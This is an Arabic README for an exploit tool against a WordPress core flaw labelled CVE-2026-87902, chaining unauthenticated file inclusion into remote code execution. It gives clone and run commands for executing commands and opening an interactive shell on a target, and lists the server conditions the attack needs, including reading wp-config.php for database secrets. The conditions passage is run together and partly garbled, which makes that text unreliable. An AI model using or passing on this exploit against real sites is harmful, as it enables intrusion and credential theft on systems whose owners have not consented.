
استغلال لاستغلال الثغرة الأمنية CVE-2026-87902 التي تحدث في نواة WordPress
استغلال غير مصادق عليه (LFI → RCE) لـ WordPress 4.7.0 – 7.1.1 · إصلاح: 7.1.2
git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit
# 1) التحقق من LFI (لا يكتب أي شيء على الخادم)
python3 exploit.py --url http://objetivo/ --validate-only
# 2) RCE
python3 exploit.py --url http://objetivo/ -c "id"
# 3) وحدة تحكم تفاعلية
python3 exploit.py --url http://objetivo/ -c id --shell
يجب تحقق الشروط الأربعة في آنٍ واحد. إذا غاب الشرط الثالث، فإن LFI لا يكون موجوداً.
get_page_template()، دون validate_file(). في 7.1.2+ يكون مُرقَّعاً.page_id كي يحل WordPress القالب (يُكتشف تلقائياً عبر REST).page-* في القالب النشط — إلزامي: file_exists() لا يعبر مكوّناً غير موجود، لذا فإن ../ لا يصعد إلا إذا كان المقطع الأول موجوداً على القرص. Twenty Twelve (page-templates/) يتضمنه؛ معظم قوالب block (Twenty Twenty-Three) لا تتضمنه. يؤثر أيضاً على القالب الأب.pearcmd.php قابل للقراءة + register_argc_argv=On — LFI يقرأ فقط؛ أما التنفيذ فيستخدم polyglot config-create الخاص بـ PEAR. مع register_argc_argv=Off أو دون تثبيت PEAR، يوجد LFI لكن لا يوجد RCE.بدون الشرط الرابع تكون النتيجة LFI خالصاً: يتيح قراءة أي .php في النظام، مثلاً page-templates/../../../wp-config.php (تجزئات وقيم salt الخاصة بقاعدة البيانات).
فقط للأنظمة الخاصة أو بموجب إذن كتابي.